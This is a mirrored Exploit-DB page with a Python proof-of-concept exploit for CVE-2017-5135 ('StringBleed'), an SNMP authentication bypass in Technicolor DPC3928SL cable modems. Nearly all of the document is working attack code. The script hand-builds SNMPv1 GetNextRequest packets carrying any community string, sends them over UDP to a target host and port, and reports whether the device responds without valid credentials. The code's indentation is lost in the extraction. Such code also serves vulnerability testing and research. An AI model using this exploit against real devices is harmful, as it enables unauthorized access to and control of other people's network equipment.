Technicolor DPC3928SL – SNMP Authentication Bypass

  • 作者: nixawk
    日期: 2017-05-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43384/
  • #!/usr/bin/python
    # -*- coding: utf-8 -*-
    
    # StringBleed - CVE-2017-5135
    
    __author__ = ["Nixawk"]
    
    __funcs__ = [
    'generate_snmp_communitystr',
    'generate_snmp_proto_payload',
    'send_snmp_request',
    'read_snmp_communitystr',
    'read_snmp_varbindstr',
    'snmp_login',
    'snmp_stringbleed'
    ]
    
    
    import struct
    import uuid
    import socket
    import time
    import logging
    import contextlib
    
    
    logging.basicConfig(level=logging.INFO)
    log = logging.getLogger(__file__)
    
    
    def generate_snmp_communitystr():
    return str(uuid.uuid4())
    
    
    def generate_snmp_proto_payload(community):
    """Generate snmp request with [SNMPv1] and [OID: 1.3.6.1.2.1.1.1.0]
    For example, suppose one wanted to identify an instance of the
    variable sysDescr The object class for sysDescr is:
     iso org dod internet mgmt mib system sysDescr
    1 3 6 1211 1
    """
    
    # SNMPv1 specifies five core protocol data units (PDUs).
    # All SNMP PDUs are constructed as follows:
    
    # ---------------------
    # | IP header |
    # ---------------------
    # | UDP header|
    # --------------------- -------|
    # | version ||
    # | community ||
    # | PDU-type||
    # | request-id||---- SNMP
    # | error-status||
    # | error-index ||
    # | variable bindings ||
    # --------------------- -------|
    #
    
    # The seven SNMP protocol data unit (PDU) types are as follows:
    # GetRequest
    # SetRequest
    # GetNextRequest
    # GetBulkRequest
    # Response
    # Trap
    # InformRequest
    
    # SNMPv1 Message Header
    # SNMPv1 Trap Message Hander
    
    # https://tools.ietf.org/html/rfc1592
    # +-----------------------------------------------------------------+
    # | Table 1 (Page 1 of 2). SNMP GET PDU for dpiPortForTCP.0 |
    # +---------------+----------------+--------------------------------+
    # | OFFSET| VALUE| FIELD|
    # +---------------+----------------+--------------------------------+
    # | 0 | 0x30 | ASN.1 header |
    # +---------------+----------------+--------------------------------+
    # | 1 | 37 + len | PDU_length, see formula below|
    # +---------------+----------------+--------------------------------+
    # | 2 | 0x02 0x01 0x00 | SNMP version:|
    # | || (integer,length=1,value=0) |
    # +---------------+----------------+--------------------------------+
    # | 5 | 0x04 | community name (string)|
    # +---------------+----------------+--------------------------------+
    # | 6 | len| length of community name |
    # +---------------+----------------+--------------------------------+
    # | 7 | community name | varies |
    # +---------------+----------------+--------------------------------+
    # | 7 + len | 0xa0 0x1c| SNMP GET request:|
    # | || request_type=0xa0,length=0x1c|
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 2 | 0x02 0x01 0x01 | SNMP request ID: |
    # | || integer,length=1,ID=1|
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 5 | 0x02 0x01 0x00 | SNMP error status: |
    # | || integer,length=1,error=0 |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 8 | 0x02 0x01 0x00 | SNMP index:|
    # | || integer,length=1,index=0 |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 11| 0x30 0x11| varBind list, length=0x11|
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 13| 0x30 0x0f| varBind, length=0x0f |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 15| 0x06 0x0b| Object ID, length=0x0b |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 17| 0x2b 0x06 0x01 | Object-ID: |
    # | | 0x04 0x01 0x02 | 1.3.6.1.4.1.2.2.1.1.1|
    # | | 0x02 0x01 0x01 | Object-instance: 0 |
    # | | 0x01 0x00||
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 28| 0x05 0x00| null value, length=0 |
    # +---------------+----------------+--------------------------------+
    # | NOTE:Formula to calculate "PDU_length": |
    # | |
    # | PDU_length =length of version field and string tag (4 bytes)|
    # |+length of community length field (1 byte) |
    # |+length of community name (depends...) |
    # |+length of SNMP GET request (32 bytes) |
    # | |
    # |=37 + length of community name |
    # +-----------------------------------------------------------------+
    
    snmp_GetNextRequest = [
    b"\x30", # ASN.1 Header
    b"\x29", # PDU length
    b"\x02\x01\x00", # SNMP Version
    b"\x04", # Community Name (string)
    chr(len(community)), # Community Length
    community, # Community String
    b"\xa1\x19", # PDU Type - GetNextRequest
    b"\x02\x04",
    struct.pack("<i", int(time.time())), # Request ID
    b"\x02\x01\x00", # Error Status (Type)
    b"\x02\x01\x00", # Error Index
    b"\x30", # Variable Type (Sequence)
    b"\x0b", # Length
    b"\x30", # Variable Type (Sequence)
    b"\x09", # Length
    b"\x06", # Variable Type (OID)
    b"\x05", # Length
    b"\x2b\x06\x01\x02\x01", # Value
    b"\x05\x00"# NULL
    ]
    
    pkt = "".join(snmp_GetNextRequest)
    com_length = chr(len(community))
    pdu_length = chr(len(pkt) - 2)# community length cost 1 bytes (default)
    
    if com_length > '\x7f':
    com_length = '\x81' + com_length
    pdu_length = chr(len(pkt) - 1)# community length cost 2 bytes
    
    if pdu_length > '\x7f':
    pdu_length = '\x81' + pdu_length
    
    snmp_GetNextRequest[1] = pdu_length
    snmp_GetNextRequest[4] = com_length
    
    pkt = b"".join(snmp_GetNextRequest)
    
    return pkt
    
    
    def send_snmp_request(host, port, community, timeout=6.0):
    """Send snmp request based on UDP.
    """
    data = ''
    
    try:
    with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_DGRAM)) as client:
    snmp_raw = generate_snmp_proto_payload(community)
    client.settimeout(timeout)
    client.sendto(snmp_raw, (host, port))
    data, _ = client.recvfrom(2014)
    except Exception as err:
    log.error("{} : {} - {}".format(host, port, err))
    
    return data
    
    
    def read_snmp_communitystr(snmp_response):
    """Parse snmp response based on RFC-1157 (https://tools.ietf.org/html/rfc1157)
    """
    community_str = ''
    
    if not snmp_response:
    return community_str
    
    pdu_length = snmp_response[1]# "\x30\x26\x02\x01", "\x30\x81\xea\x02\x01"
    if ord(pdu_length) > 0x7f:
    offset = 8# "\x30\x81\xea\x02\x01\x00\x04\x24"
    else:
    offset = 7# "\x30\x26\x02\x01\x00\x04\x06"
    
    community_length = snmp_response[offset - 1]
    community_str = snmp_response[offset: offset +ord(community_length)]
    
    return community_str
    
    
    def read_snmp_varbindstr(snmp_response):
    """Parse snmp response based on RFC-1157 (https://tools.ietf.org/html/rfc1157)
    """
    variable_binding_string = ''
    
    if not snmp_response:
    return variable_binding_string
    
    pdu_length = snmp_response[1]# "\x30\x26\x02\x01", "\x30\x81\xea\x02\x01"
    if ord(pdu_length) > 0x7f:
    offset = 8# "\x30\x81\xea\x02\x01\x00\x04\x24"
    else:
    offset = 7# "\x30\x26\x02\x01\x00\x04\x06"
    
    community_length = snmp_response[offset - 1]
    pdu_data_offset = offset + ord(community_length)
    pdu_data = snmp_response[pdu_data_offset:]# 8 = first snmp 8 bytes
    
    last_pdu = pdu_data.split("\x00")[-1]
    
    # if data > 127 (0x7f), variable-bindings length: 3 bytes
    # if data < 127 (0x7f), variable-bindings length: 2 bytes
    
    last_pdu_length = ord(last_pdu[1])
    if last_pdu_length > 0x7f:
    variable_binding_string =last_pdu[3:]
    else:
    variable_binding_string = last_pdu[2:]
    return variable_binding_string
    
    
    def snmp_login(host, port, community):
    """login snmp service with SNMPv1 community string.
    """
    login_status = False
    try:
    resp_community = read_snmp_communitystr(
    send_snmp_request(host, int(port), community)
    )
    
    if (resp_community == community):
    login_status = True
    except Exception as err:
    log.error(err)
    
    return login_status
    
    
    def snmp_stringbleed(host, port, community):
    """Test againsts Snmp StringBleed CVE-2017-5135.
    """
    stringbleed_status = False
    try:
    resp_varbindstr = read_snmp_varbindstr(
    send_snmp_request(host, int(port), community)
    )
    if resp_varbindstr: stringbleed_status = True
    except Exception as err:
    log.error(err)
    
    return stringbleed_status
    
    
    if __name__ == '__main__':
    import sys
    
    if len(sys.argv) != 4:
    log.info("Usage python {} <snmp-host> <snmp-port> <snmp-community-str>".format(sys.argv[0]))
    sys.exit(1)
    
    host = sys.argv[1]
    port = sys.argv[2]
    community = sys.argv[3]
    
    if snmp_login(host, int(port), community):
    log.info("{}:{} - [{}] snmp login successfully.".format(host, port, community))
    else:
    log.info("{}:{} - [{}] snmp login failed.".format(host, port, community))
    
    if snmp_stringbleed(host, int(port), community):
    log.info("{}:{} - [{}] snmp StringBleed successfully.".format(host, port, community))
    else:
    log.info("{}:{} - [{}] snmp StringBleed failed.".format(host, port, community))
    
    
    ## References
    # https://tools.ietf.org/html/rfc1157
    # http://stackoverflow.com/questions/22998212/decode-snmp-pdus-where-to-start
    # http://www.net-snmp.org/
    # https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol
    # https://wiki.wireshark.org/SNMP
    # https://msdn.microsoft.com/en-us/library/windows/desktop/bb648643(v=vs.85).aspx
    # http://cs.uccs.edu/~cs522/studentproj/projF2004/jrreese/doc/SNMP.doc
    # https://github.com/exhuma/puresnmp/blob/be1267bb792be0a5bdf57b0748354d2d3c7f9fb0/puresnmp/pdu.py